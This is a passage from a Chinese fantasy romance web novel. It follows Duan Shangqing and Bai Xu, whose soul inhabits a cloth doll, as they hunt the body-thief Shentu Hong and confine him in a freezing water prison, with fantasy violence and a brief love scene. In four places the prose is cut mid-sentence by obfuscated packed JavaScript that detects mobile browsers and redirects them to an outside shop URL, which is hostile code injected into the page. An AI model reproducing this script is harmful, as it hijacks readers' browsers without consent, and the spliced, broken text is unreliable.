刹那过后,一道横贯天庭的炽白光华自雷府升腾,金光之中,玄袍垂落九天,仙人玉带缠腰,手持金鞭,面如温玉却自带天威,双目开阖间便有雷霆生灭。 庞元帅手奉雷印,跪地行礼,恭敬道:“天尊。” 众神官纷纷跪地,齐声高呼:“拜见天尊。” 段尚清吓得神魂未定,还是白栩亲亲他的脸,才把他唤回神思。 白栩在他耳边悄声道:“来了个大官儿。” 竟还有功夫耍俏皮。 段尚清此时什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365511|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都不想关心,他只想知道阿栩有没有受伤,连自己身上又掉出两根锁魂钉都没发觉。 白栩搂住段尚清,把人翻了个面,同他一并面向天神。 他朝天朗声道:“弟子江州玄门白氏之子白栩,因歹人夺舍,生魂流浪,被雷部官吏带至长生仙府,官授诵经仙吏,但弟子身躯未腐,阳寿未尽,并不欲久留此地为官,还请天神降下神鞭,赐白栩一条生路!” 段尚清先前哭的大脑一片空白,这会儿早就转不动了,白栩说话他点头,白栩下跪他紧跟,白栩来拉他的手——这倒是知道要笑一笑,唤一声阿栩。 “庞乔,放他二人归去,不愿留于此地的,皆送至冥府投胎。” 得了天尊的令,庞元帅收起雷印,亲自打开府门,放二人离去,段尚清临走前,看了眼那老妇人。 “夫人,您不走?” 老妇人冲他一笑:“在这儿起码是个人,下界投胎去,指不定托生成什么猪牛狗羊,不去也罢。” 段尚清一想也是,还是当人好,当人能拥抱,能接吻,能一遍一遍地唤阿栩。 这般想着,他不自觉地露出笑,白栩抬手摸摸他的脸颊:“想什么美事呢?” 段尚清拉着白栩躲到玉柱后面去,将人抵在柱子上,俯身吻住。 白栩纵容地勾住他的脖颈,由着那舌钻进来细细密密地舔吻。 四个时辰已到,段尚清抱着白栩,身下忽地一空,再睁眼,头顶已是黑幡红纹,耳边传来重叠的呼唤声,段尚清下意识抬手,掌中不知何时握着自己那做了大半个月的小人偶。 “阿栩?”段尚清捧着人偶,轻轻地戳了戳它的小脸蛋,小人偶沉寂片刻,忽地动弹一下,小脑袋抬起来,小手小脚扑腾着,像是在适应,不多时便能站起身。 小偶迈着小短腿,跑到段尚清的脸上,低头亲了一口。 “好小,好可爱。”段尚清小心翼翼地捧起小偶,在它脸上回了一吻,小偶脸上没什么表情,可段尚清知道,白栩在笑。 两人正亲昵着,白栩忽地被揪着脖领拎起来,小偶一见是姐姐,立马吓得四下扑腾,段尚清想起身抱住,但一动弹就浑身疼,祁玄把他按回去,低骂道:“钉子没取出来,你乱动什么!” 段尚清老老实实躺下,目光还粘在小人偶上,他没给小偶做裤子,这么一拎,它的棉花小屁股全然露在外面。 “小珏,把弟弟放下。”莫兰萱过来,接住白栩。 小偶在妈妈掌心,更是不敢乱动,抱着妈妈一根手指,撒娇地晃。 “可惜不会说话。”白道陵挨着莫兰萱,把下巴搁在娘子的肩头,伸出一根手指摸着小白栩的脑袋瓜,“见到爹怎么不知道亲亲?” 小偶站起身,顺着白道陵的手臂往上爬,一下子坐在老爹的鼻梁骨上,小棉花脑袋“啪叽”一声撞上去,正中白道陵印堂。 白道陵佯装被撞倒,两眼一闭往下倒,正好倒在祁玄后背上。 祁老道人正给段尚清拔钉子,背上一挨着白道陵,立刻像遭瘟似的躲开,白道陵一个没站稳,身形猛地一晃,得亏一把抓住石台,才算勉强站稳。 小白栩就没那么幸运了,他本就身轻,老爹这么一摔,直接把他甩飞出去,还好段尚清长臂一伸,把他搂了回来,安置在脸颊边,不然准要摔个脸朝地。 白栩抱着段尚清的耳朵,看着祁玄将锁魂钉一根一根拔出,钉子连着皮肉,一拔便是血肉模糊。 他安抚地摸摸段尚清的脸颊,段尚清侧过脸来看他,亲了亲他的小手,眸子里满是心满意足的笑:“不疼。” 58. 山鬼夜来 石台上又血淋淋一片,四个时辰之前凝固的血再度被浸湿,顺着石沿滴滴答答地落在地面上,汇成一片小血泊。 七根钉子终于拔出,七处大穴已成了血洞。 祈玄亲自给段尚清的胸膛缠上厚厚的裹创布,那娴熟的手法,不像是给人疗疾,倒像是时逢端午,在缠裹一只硕大的粽子。 段尚清终于能披上衣服,入秋了,清晨的风已带上寒凉,从屋外灌进来,使裸露的皮肤丝丝缕缕地沁着凉,裹着布的地方倒是暖和,不过伤口疼得不讲道理,剐去了秋日情调,徒留萧瑟。 白栩被段尚清夹在领衽里,小人偶身轻,夹在里头不占空间,不过因着头大身子小,只剩下个圆圆的脑袋露在外面,段尚清一走起来,胸肌就夹着白栩的小屁股,棉花碰皮肉,各有各的弹软。 白道陵站在门外招呼众人,他身后站着位白栩不认识的人,披散着头发,容貌英俊,面色略显疲惫,精神气却是昂扬,他朝屋内的人作了一揖,举手投足之间礼数尽全、风度优雅,不似俗人。 “太子殿下。”众人回礼。 白栩也扑腾着举了手,段尚清没给他缝嘴,他没法说话,只能肢体表达,显得他即使作为一只小棉花人偶也不缺礼数。 但他还是希望有一只嘴能说说话,毕竟他从司天监地牢里得到了许多消息,本来期望能告诉爹娘和段尚清,可他回是回来了,嘴不能张,话不能言,全都得憋在心里,只能睁着大眼睛期望别人能读懂他的眼神,给他安个嘴巴,可谁也没看出来,因为他那双用金线缝的眼睛永远只有一个眼神,呆呆的,萌萌的,怪可爱的,以至于除了装饰毫无所用。 太子是见过段尚清的,那时他从马背上掉下来,一群尸鬼将他围住,个个张着嘴,恨不得把他扒皮吃肉,那个少年御剑划开一众尸鬼,一伸手将他从地上拽起来,他以为得救了,那少年却只是把他扔到另一座山上,留下一句“等着别动”,转身就走。 太子急问他要去做什么,怎么还不带他快走,那少年只冷冷地看他一眼,反问他:“你走了,你的兵将该如何?活该被尸鬼活剥?” 太子愣在原地,目送少年远去。不知等了多久,那两人才回来,浑身的伤,一褂的血,拉起他来,手劲儿丝毫不减。 尸鬼并未被杀光,那东西杀不光,也死不绝,段尚清和祁真只能杀出一条路给将士们撤离,而后护着太子往瞭鹭山奔逃。 祁王站在战场上,仰头看向空中掠过的身影,那目光穿透烟尘直逼太子。 太子以为那目光肯定是恨的,也的确有恨,可恨得并不纯粹,混着说不清道不明的愧疚与艳羡。 不过那眼神只停留了一瞬,便被隐藏下去。 虞子煊站在祁王身边,同他说着什么,另一道目光也看向了天际,阴毒、狠辣,如同毒蛇附骨而上,太子看了一眼便收回视线,浑身不舒服。 那少年救他时凝重持肃,此时再见,如若忽视他身后满是血的石台,只看他此时的神态,眉眼轻柔,面容含笑,尤其是领衽里还夹着只小棉花人偶,倒显得活泼可爱。 段尚清并未在意太子目光里的探究,他只一心一意看着白栩。 小人偶扒住他的领子,探着头也看着他,小脑袋一晃一晃,可爱极了,段尚清悄悄欠身,用唇肉蹭蹭小家伙的脑袋,却被小手捧住下巴,将他的头往下按。 一人一偶对视,白栩用短手一个劲儿地比画自己的嘴,他那里只被段尚清用果子的汁液点了一个小黑点,没剪开口子,他没法张嘴说话。 段尚清这回倒是懂他的意思了:“你想说话?” 白栩点头。 段尚清带着他走到花千续身旁,将白栩捧在手心,问道:“花道长,阿栩说不了话,我该如何做?” 花千续把眼一瞟,两根手指头捏住白栩的小胖脸,不轻不重地掐了一下:“简单,你给他缝一个或绣一个嘴,要是太难了,剪个口子也行。” 白栩胡乱地打开花千续的手,转过身一脸期待地看向段尚清。 段尚清却是满脸的震惊,他强烈反对这个不靠谱的馊主意:“阿栩会痛的!” 花千续实在无奈:“段大公子,白栩只是魂寄生在灵偶里,他的皮是布,肉是棉花,你随意动刀动剪子,他绝不会疼。” 段尚清还是不舍,白栩却是耐不住了,他扭着身子,两只手扒在段尚清脸上,轻轻地晃动,明晃晃地撒娇。 段尚清垂头看他:“不怕疼么?” 白栩点头。 段尚清带着白栩往自己屋走,屋里还有剩下的金线,他要给白栩缝个可爱的小嘴巴。 穿针引线,刺破绸布,白栩仰着脑袋,乖乖地等着,段尚清却是蹙着眉,像是针扎在自己身上。 不多时,一张小嘴巴缝好,勾着小小的弧度,与笑着的眼睛相得益彰。 “尚清!”白栩张开双臂,声音里带着柔软的笑意,“抱抱!” 段尚清将白栩捧起来,亲昵地轻吻刚缝好的小嘴巴,也唤他:“阿栩。” 白栩摸摸段尚清的下巴,略有些催促地拍了拍:“我有要事相告,你带我回去,我要说给大家听。” 段尚清依旧把他夹在领衽里,一进门,白栩就嚷嚷着喊人:“爹!娘!姐姐!” 大伙挨近他,白道陵弹弹他的小脑袋:“怎么了?” 白栩一点事儿都藏不住,立刻倒豆子似的抖落出来:“我在司天监地牢里见到了申屠鸿的魂和虞惑,虞惑非说申屠鸿是他爹,还说是爷爷觊觎络玥族的秘术,将其赶尽杀绝,是申屠族救了他们,虞惑的娘以身相许。” “这这这!”白道陵气结,“倒打一耙!贼喊捉贼!” 白栩也颇为愤慨,接着道:“而且,虞惑的身体里也有蛊虫,不是别的,就是长生仙!他亲自端了一碗婴儿羹给我看,还喝了下去,给我恶心坏了!” 翎徕与花千续相视一眼,都从对方的眼里读到了无奈。 原来他们找了许久的长生仙,竟然就在虞惑身上。 段尚清道:“我去救阿栩时,见到司天监地牢里关着许多女子,都被夺了魂,且怀着孩子,当时我只以为司天监残害百姓,一时怒火烧心给那地方劈穿了,如今看来,那些女子肚子里的孩子,全被虞惑拿走做婴儿羹去了。” 白栩头一回听说这事,气得小手乱打。 段尚清摸摸他的头以作安抚,道出了心中的忧虑:“我还得尽早把你的身体夺回来,我怕虞惑给你的身体种蛊。” 白栩倒吸一口气,吓得浑身簌簌发抖:“那你可要赶快……” 段尚清捞起他亲了亲:“嗯,我保证。” 花千续一旁道:“既然你把那地方给劈穿了,那些女子估计一个都活不了,虞惑没了这些人,就得去找新的女子做他的婴儿羹,我们得留意临安附近的村落,虞惑定会找人下手。” “我的阿珏去。”佐恭庭率先表态,白珏点头表示同意,她伸手捞起小狐狸扛在肩头,“我们一会儿就能出发。” “我也去。”段尚清紧随其后,他捧起白栩,聚在众人眼前,“阿栩也去。” 白栩附和地扑棱着小手:“我也要去!” “你去能干什么?”白道陵一张笑脸凑过来,“一个小棉花娃娃,还得让小段护着你,去了就是捣乱。” 白栩不服,又无可反驳,毕竟他现在真的就是一团小棉花, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365512|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗫嚅几声,气得直往段尚清怀里钻。 段尚清护住白栩的脑袋:“白伯伯您别欺负他。” 莫兰萱也给白道陵后脑袋瓜来了一巴掌:“就知道欺负儿子。” “哎呦。”白道陵捂着脑袋,却笑得一脸甜蜜,他瞟了眼祈玄,又看向娘子,“我这不是逗逗小栩么……” 祈玄白了他一眼。 众人你一眼我一句说得愤慨,徒留太子一人懵然地站在一旁,非但插不上话,还大多听不懂。 白道陵看了太子一眼,踱步过去,宽慰道:“太子殿下不必多虑,此事我会与你细说,不过临近晌午,我们先用饭。” 太子松了口气,笑道:“多谢白玄士,请。” 山上没什么吃食,祈玄平时粗茶淡饭,吃的并不多,这回乌泱泱来了一群人,直接把他的存粮吃了个底朝天,众人只好满山去挖野菜,抓江鱼,虽是辛苦,不过饭菜品类倒是多了不少。 清蒸黄颡鱼,凉拌乌龙头,再配一碗稀饭,一杯清茶,倒也算可口。 饭后,几人便动身出发。 从瞭鹭山到临安御剑不过半日有余,他们分开搜寻,分别去了临安城的两个方向,隐匿在郊外,时刻关注司天监的动向。 段尚清带着白栩暂居在山中的城隍庙里,破庙的屋顶漏了个洞,不过还算能遮风挡雨。 白栩趴在段尚清的胸口,小脑袋四下张望:“尚清,这样真的能抓到司天监的人么?” 庙里空空荡荡,他的声音四下回响。 段尚清摸摸他的脑袋尖:“总好过不来。” 白栩“嗯”了一声,打了个哈欠,他耷拉着眼,余光里似乎有一道红色的影子一闪而过,他定睛看去,原是一张夜哭帖。 “尚清,你看。”白栩指给他看,两人接近,只见一张红纸贴在庙门上。 天皇皇,地皇皇,孩儿夜哭闹爹娘。 血阎罗,站一旁,再哭就把你魂藏。 过路神鬼念一遍,一觉睡到大天亮。 白栩从头念了一遍,很是不解:“这个血阎罗是何物?山魈偷小孩么?” 段尚清亦是不解:“从未听说过有这号山野精怪。” “罢了罢了。”白栩又哈气一声,“尚清,我们睡吧,已经入夜了。” 段尚清带着他寻了处避风处躺下,温声问他:“可会冷?” 白栩往他怀里钻了钻,笑眯眯的:“你怀里暖,不冷。” 段尚清莞尔一笑,低头亲了亲他:“那睡吧。” “嗯。”白栩脑袋一歪,枕着段尚清的胸肌,嗅着他怀里一如往常的熏香,没一会儿就睡着了。 月过半空,时至子丑,山下忽地传来一阵吵嚷的尖叫,两人被惊醒,段尚清护着他站起身,御剑至山下。 山脚有一处村子,并不大,两人上山时还考虑过要不要在此处留宿,但为了不打草惊蛇,还是去了山上的破庙,此时,一位妇人跌在地上,哭声很是凄惨。 村子里的人或去安慰她,或是在一旁咒骂。 段尚清靠近去听—— “血阎罗又来偷孩子了?” “是啊,昨日才出生的,今天就被偷走了。” “隔壁村的也被偷了,也是刚出生的。” “该死的血阎罗,这事儿到底什么时候到个头!” 段尚清心头一紧,当即拉住一位村民,急声问道:“大伯,可曾看见血阎罗往哪边去了?” 大伯把他上下打量了一通,指了个方向。 段尚清匆匆道了声谢,脚下再不耽搁,当即拔足飞奔而去。月色如水,他身形疾掠如风,只在林间月下留下一道转瞬即逝的残影。 59. 月下围猎 夜风穿林,竹声飒飒,八百里穹野下,两道身影一前一后狂奔疾驰。 段尚清踏云踩风,衣袂翻飞如虹影,他身前那道鬼影,亦是极快。 雾色里,那道血红衣袍忽隐忽现,仿若夜色深处藏着一只时睁时阖、寒芒乍现的血瞳。 “站住!” 蓦地,他怒喝一声,声震云霄。 那鬼影闻声竟是一顿,当真立在原地不动。 待其缓缓回眸,段尚清终于看清了他的脸,心头猛地一沉。 来人竟是白栩。 不,应该说是白栩的脸。 “申屠鸿!” 他捏紧拳头,咬牙切齿地叫出此人的名号 申屠鸿立在崖壁上,身形直挺,目光下视,唇角勾起明显的弧度,似乎很是享受段尚清的恨意。 “好久不见,小断袖。” 他轻浮地打声照面,目光沿着段尚清的脸下滑到他胸口夹着的小灵偶上,稍感意外道:“这是白栩?你居然能把他找回来。” “你还有脸说!你这个披着我的皮到处行凶作恶的混蛋王八蛋!” 白栩扬着小手臂气得乱打一通,气势汹汹地讨伐:“你赶紧把我的身体还回来!” 申屠鸿眯起眼睛,笑得挑衅:“不还,又如何?” 白栩哽住,他确实没办法威胁此人,思索半晌,只憋出一句力道不足的威胁来:“不然我就告诉虞惑,你根本不是他的亲生父亲!你一直在骗他!” 申屠鸿闻言忽地大笑起来,像是在嘲讽他的天真。 “他怎么可能信你呢?就算他有所怀疑,也再无离开我的可能……”申屠鸿阴恻恻地笑了起来,“眼下这般境地,谁都没有回头路可走,他就算知道了真相,又有什么用呢?” 段尚清厉声斥道:“你以为你能一直违背天道,逍遥法外么!” 申屠鸿笑声愈震,心无所惧地向前一步,径直迈步到段尚清身前,姿态神情甚是轻慢。 那张令段尚清日思夜想的面容就这样毫无遮拦地放大在他眼前,只是这张脸上的神情令他陌生无比。 一种微妙的惊悚感直逼心头,段尚清横剑身前,眉目凌厉,很是警惕。 申屠鸿却不管不顾地更加凑近,微低着头,从容地打量起眼前这张脸上的纠结来。 他算准了段尚清舍不得伤害白栩的面皮,也看透了段尚清看到自己这张脸,会于心不忍、举棋不定。 “尚清!”白栩使劲拍段尚清的胸膛,“你愣什么神!他不是我,你要杀要剐都没关系,把我的身体大卸八块了都没事,千万不能放过申屠鸿!” 段尚清霎时如梦初醒,灵台清明,他咬紧牙关,趁申屠鸿不备,长剑疾挑而去。 电光石火间,只见寒光一闪,申屠鸿的肩头竟被生生捅穿,温热的血顺着剑身滑落,砸在乌黑冰冷的崖壁上,倒映着凄惨的月光。 申屠鸿没想到段尚清会痛下杀手,急急后撤一步,转身便逃。 段尚清立刻去追,夜奔之际,他烧了张传音符给白珏和佐恭庭,今夜既见血阎罗,定没有让他逃走的道理。 那二人一接到符,立刻御剑赶来。 他们与段尚清分守两侧,此时前后包夹,刚好能拦住申屠鸿,但申屠鸿毕竟是白青山都拦不住的凶徒,二人不敢掉以轻心,暗自下定决心,不论付出什么代价,都得逮到那混蛋。 白栩的身体未曾习过武,就算申屠鸿有飞天遁地之能,只要拖着白栩的身子,必定是个累赘。 果如其所料,才追过两个山头,申屠鸿的速度明显慢了下来,他刹步回身,与段尚清正面相对,目含厉色地道:“段尚清,你抓到我又有何用?白栩既被夺舍,你又有什么法子能把我的魂抽走?” 段尚清立在高处,垂眼看他,森然一笑,语气冷硬:“你与虞惑在绛鹊山镇邪庙下的双生阵一同逃脱,只要你二人其中一人魂飞魄散,另一人必死无疑。” 他微微一顿,琥珀色的眸子里闪过狠厉,语气是前所未有的阴戾:“我要是抓到虞惑,将他打死,再叫他魂飞魄散,你说你会不会死?” 申屠鸿一怔,面露警惕:“你怎么知道?” 段尚清并未回答,他已感应到白珏和佐恭庭正逐步逼近,包夹之势已然形成,机不可失,他凌空一跃,直逼申屠鸿杀去。 申屠鸿不得已拔剑抵挡。 段尚清一手将白栩完全塞进衣领里,另一手紧攥剑柄,剑招骤起,招招直逼要害。 申屠鸿尽数格挡,虽有吃力,但尚能应对,但身后两股力量的逼近让他骤然警觉,他怒视段尚清,使尽全力,当头劈下,段尚清力所不及,被一剑打飞,申屠鸿趁此间隙,闪身奔逃,段尚清稳住身形,拔腿便追,他目的明确,就是要把申屠鸿逼进包围圈。 申屠鸿自然也觉察到三人的包围之意,他率先感应到白珏的气息,想起白珏先前被自己一拳打破腹腔,就算起死回生,也必然是元气大伤,便以她为突破口,妄图一举突破重围。 可惜他失算一步,棋差一招,白珏身体里有姚靖的内丹撑着,功力法术早已不能同日而语,她一见申屠鸿朝自己突杀而来,立即横剑格挡,不消几个回合,又将申屠鸿打回包围之内。 申屠鸿目眦欲裂,自知不敌,又朝佐恭庭杀去。 佐家招式大开大合,力若千钧,只一击,便震得申屠鸿虎口开裂。 白栩这幅身子最是皮娇肉嫩,若是粗汉挨此一招,尚能忍痛反制,可惜申屠鸿盗用的是白栩的身子,这点小伤到了这幅身躯上,竟痛得如绞肺腑,他本想迎难而上,不料再被一击,手上的伤竟然直直开裂至掌根,整个拇指几乎脱落,皮开肉绽,深可见骨。 佐恭庭不舍伤白栩的身体,毕竟这是阿珏弟弟,万一被自己打伤打残了,日后白栩的魂回到身子上,不得恨自己?万一白珏也不理自己了怎么办? 佐恭庭这一犹豫,竟给了申屠鸿逃窜的机会,他一剑甩出一道剑风,将佐恭庭逼退,瞬息便逃出数里之遥。 段尚清看猎物要逃,脚下生风般即刻掠杀而去,眼见逼近,他再无迟疑,单臂运力,掷剑如矢,只听长剑发出一声破空锐响,瞬息追至,硬生生将申屠鸿钉在崖壁上。 单是他的剑还不够,白珏紧随其后,也掷出一剑,正中申屠鸿的大腿,将人结结实实地钉死。 佐恭庭一看段尚清和白珏都这么心狠,也不再留情,直接一剑飞去,正钉在其腹腔。 申屠鸿发出一声凄厉惨叫,三柄剑将他牢牢钉死,动弹不得。 段尚清飞掠至申屠鸿身前,目光沉沉,眸中怒海翻涌,但他面色冷峻,哪怕是盯着白栩的脸,也能直直看透其内肮脏的魂。 “你逃不掉了。”他语气平静,一掌掐住申屠鸿的脖颈,五指发力,下手极狠,毫不留情。 申屠鸿被掐得面色肿胀,两眼翻白,但他依旧竭力挣扎,白骨与剑刃摩擦之声黏腻而刺耳,段尚清充耳不闻,铁了心要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天将明,段尚清敲响家门,不多时,蒋瑛来开了门,一见儿子肩上扛着一个人,身后跟着两个人,什么都没问,侧身让他们进来。 “要怎么做?”她平静地问。 “开地下水牢,把他锁进去。”他将“白栩”放下来,揽着腰,让人靠在自己身上,举止亲密,令蒋瑛不得不多想。 “他是?” “我同您说过,他是白栩,可惜他如今被申屠鸿夺舍,我要用地下水牢把申屠鸿逼出来。” 蒋瑛犹疑道:“小栩未曾习武,水牢阴寒,他这幅身子骨进去,恐伤了根基。” 段尚清默然,心有不舍,白栩从他胸口钻出头来,抬手朝蒋瑛招手:“蒋伯母!” 蒋瑛一怔,伸手摸摸小灵偶的头:“你是?” “我是白栩,我的魂被尚清找回来,如今寄存在这灵偶里,您不必担心我的身子烙下病根,能夺回来已是幸事,往后就是身弱了些,大不了多吃点补药,要是此番不把申屠鸿的魂逼走,我怕是再难夺回身体。” 蒋瑛叹了口气,道:“尚清知道水牢在什么地方,让他带你们去,我要去找云太公帮忙。” 云太公应该可以帮忙画招魂幡,双管齐下,不怕申屠鸿不出来。 段尚清摸摸白栩脑袋,扛起他的身体,往天阙阁地下走去。 60. 缠绵有时 段氏水牢由前任阁主所建,手段极尽刁钻毒辣。 其内昏天暗地,冷气森森,四面筑起三丈高的冰壁,地上积着五尺深的寒水,因有灵气包裹,水无法结冰,便更冰寒刺骨。 侧壁悬下两条铁锁链,将犯人双臂吊起,跪在水内,每日丑时寒水高涨,没过眼鼻,亥时才缓缓下降,退至胸腹。其间十多个时辰,人一直浸在水里,若是昏死过去,即刻便有灵力冲击经脉,将其逼醒。 牢内没有昼夜,分不清时辰,只有反反复复的窒息与清醒,折磨好似没有尽头。 戌时将过,寒水渐退。 白栩被吊于牢内,衣发浸湿,浑身上下没有一丝血色,素衣紧裹着他苍白的身躯,几乎融为一体,唯有手腕上被铁链勒出的血痕,点缀着些青紫的颜色。 他睁开眼,眼前景象模糊,像蒙了层纱,什么都看不清,双膝早已失去知觉,五脏六腑好似结了冰,凡是血液流经处皆如死物,无一在跳动,长久的麻木后,腹腔忽地一阵刺痛,白栩呛咳一声,吐出一口瘀血。 半昏半醒间,他听到牢内一阵响动,有石板挪动时发出的浑厚摩擦声,有铁链晃动时的铮铮作响,齐肩的寒水开始下退,像野兽张开血口,将猎物缓缓吐出。 白栩模糊不清的意识费了好长时间才意识到牢内的异样,他本能地将任何异动都归类于危险的前兆,努力动了动身子,除了指尖微微的颤动,全身好似凝固在原地,动弹不得。 有人踩着水向他走来,解开了锁链,在他身上披了件厚实的外袍。 半昏半醒间,似乎有一双温暖的手轻覆在他颈侧,细细摩挲着。 白栩下意识地蹭了蹭。 那双手顿了一下,忽地扣住他的后颈,将他摇摇欲坠、冰冷无温的身体紧紧抱进怀里。 白栩强打起精神聚焦视线,一见眼前人是谁,心里霎时涌起透彻的安心,他轻扯起苍白到几近透明的嘴角,露出个虚弱的笑来,薄唇开开合合,想说些什么,可冻僵的舌根叫他只能发出几声含糊的呓语,但段尚清却听得清清楚楚。 他在说:“你来了……” “阿栩……”段尚清哽咽地应了一声,眸中热泪滚滚滑落,“你终于回来了,我好想你。” 数月的担惊受怕、心如刀绞,连日的朝思暮想、念念不忘,如今终于得到了最温柔的慰藉,段尚清长臂一捞,托住白栩的臀,稍一用力,便将人结结实实地抱进怀里,两具胸膛紧靠在一起,两颗心同频共振。 段尚清抱得牢走得稳,白栩趴在他怀里,舒服地闭着眼,浑身放松。他的双臂没什么力气,只虚虚地环着,冰凉的脸蛋贴在段尚清的颈窝里,用那处温热的皮肤取暖。 段尚清抱着他走上石阶,推开牢门,迈步而出。 时至初冬,地面已然落了雪,一阵冷风吹来,穿透湿衣,放肆地攫取体温,白栩瑟缩一下:“尚清,冷……” 段尚清替他裹紧裘衣,双臂收力,将白栩更紧地抱住,怀中人还是在发抖,段尚清加快脚步,低头轻声哄道:“把手伸进我衣服里。” 白栩听话照做,冰凉的手臂一点一点缠上那紧绷精壮的腰身,蓬勃的体温包裹着他,温暖了冻僵的肌肉。 “快到屋里了,我叫下人备了热水,等下进去泡一泡,暖暖身子。” 白栩没应他,只半眯着眼,看天上纷纷扬扬的细雪。 “冬天了。”白栩的声音很轻,像是自言自语的呢喃,雪花落在他的睫毛上,融化成晶莹的水珠,随着眼角的颤动轻微地抖动着,白栩用指尖接了一片雪,目光却瞟向悠远之处,“上一次睁开眼,还是秋天。” 段尚清心中一片柔软与心疼,低头吻他的鬓角:“申屠鸿负隅顽抗了两个月,害得你在水牢里关了这么久,苦了你了。” 白栩不在意地笑笑:“能夺回身子已是万幸,不过遭这点罪,不算什么。” “云太公做了招魂幡,把申屠鸿的魂收走,镇压在天阙阁的祠堂,以他的魂做筹码,不怕扳不倒司天监。你安心养身体,其他的交给我们。”段尚清说着,推开屋门,将白栩放在榻上。 屋内烧了碳炉,暖烘烘的,点燃的熏香飘着淡淡的药味。 段尚清替他脱去湿漉漉的衣衫,白栩被剥了个赤条条,稍有些害臊,手不自觉地挡住:“尚清……” “嗯?”段尚清抬头看他,目光坦然,“冷?进我怀里。” 白栩难得红了脸,俯身钻进段尚清的怀里。 段尚清脱掉他的鞋袜,宽厚的手掌握住他冰凉的脚,捂了捂,低喃一句:“浑身都凉。” 白栩把手贴在段尚清的脸颊上:“手也凉。” 段尚清知道白栩在闹他,笑着探过头,吻住白栩的唇,轻轻地吮揉片刻,才放开:“那赶紧去暖暖。” 说罢,他抱着白栩站起身,踱步到浴桶边,先伸手探了探水温,才放心地把人放进去。 温热的水裹住身体,白栩舒了口气,缓缓闭上眼睛。 段尚清还在屋里头忙前忙后,先将换下的衣服收起来放进竹篓里,再从柜子里拿出一套绸子内衫挂在屏风上,等着白栩浴后来换,做完这些仍不觉够,又快步出了门,没一会儿,端来个托盘,其上放着一碗香喷喷的黄金粥,还冒着热气儿。 “等会儿再吃,还有些烫。”段尚清把托盘放在一边,拿过一条干净的锦布,放进浴桶里浸湿,轻轻地帮白栩擦身子。 “身体可有难受的地方?” 白栩舒服到晕乎乎的,恨不得闭眼就睡了,根本不知道难受是什么感觉。他脑袋一歪,靠在段尚清架在浴桶旁的手臂上,抬起被水汽熏蒸得湿漉漉的眉眼,笑意盈盈道:“不难受,就是饿了,还想睡觉。” 段尚清温然一笑,指腹摸摸他的脸颊:“吃完再睡,我喂你?” 要是以前,白栩绝不会让别人喂他吃饭,他觉得只有小孩才会被喂饭,要是长这么大了还需要别人喂才吃,实在太丢人了。 可段尚清又不是别人,在他面前丢人,实在不算什么事。 白栩张嘴,颇有些小孩耍性子似的:“啊——” 段尚清端过碗,舀了一勺,吹了吹,用唇试试温,直到可以入口的温度,才喂给白栩。 “你怎么学会做这个了?”白栩笑意盈盈地看着他,“味道竟还不错。” “你原先告诉过我做法,我自己试着做,还算能吃。” 上一次吃黄金粥,还是在白府,离今已是数月之前了,回想以前种种,白栩忽地有些感慨,生生死死,东奔西逃,上天入地,流血流泪,前十几年从未想过的事,短短一年竟接踵而至。 他拉住段尚清的手臂,微抬起身子,胸膛离了水,微微泛红,沾着清透的水珠。 “尚清。” 清凌凌的目光看过来,含着缠绵的情意,段尚清顺着他的力道俯下身,鼻尖萦绕来白栩身上的皂角香。 “怎么了?”他明知故问,目光流连在眼前人桃色的唇上。 白栩弯着眉眼,什么也没说,只是看着他,段尚清被水色勾得意乱神迷,双臂撑在浴桶边,欺身而下,吻住那瓣唇。 白栩抬起手臂勾住段尚清的脖颈,他感觉有一双手顺着他的腰滑下去,直托住他的身体,用力一抱,便把他带出水面。 热气熏腾,段尚清单手取下衣衫,裹住白栩湿漉漉的身躯,唇肉依旧贴着,白栩抬腿箍住段尚清的腰,心脏扑通跳个不停。 一切尽在不言中。 段尚清带着他去了榻上,放下帘帐。 春蚕不应老,昼夜常怀丝。何惜微躯尽,缠绵自有时。 白栩初次读到这句诗时,便觉人的眷恋之情如春蚕吐丝般绵绵不尽,但他从未切身体会,并不知缠绵是何等滋味,而今这丝缠了上来,带着潮与热,让他迷离恍惚,情难自禁。 白栩数不清自己夜里说了几句“慢些”,记不得自己哭了又被哄好了几次,只是痛过之后,一切皆如痴又如醉,让他分不出心神想别的。 翌日是个大晴天,雪厚厚地积了一层,段尚清已早起去做事,白栩趴在榻上,撩开帘帐,看窗外的雪景。 房门忽地被敲开,白栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 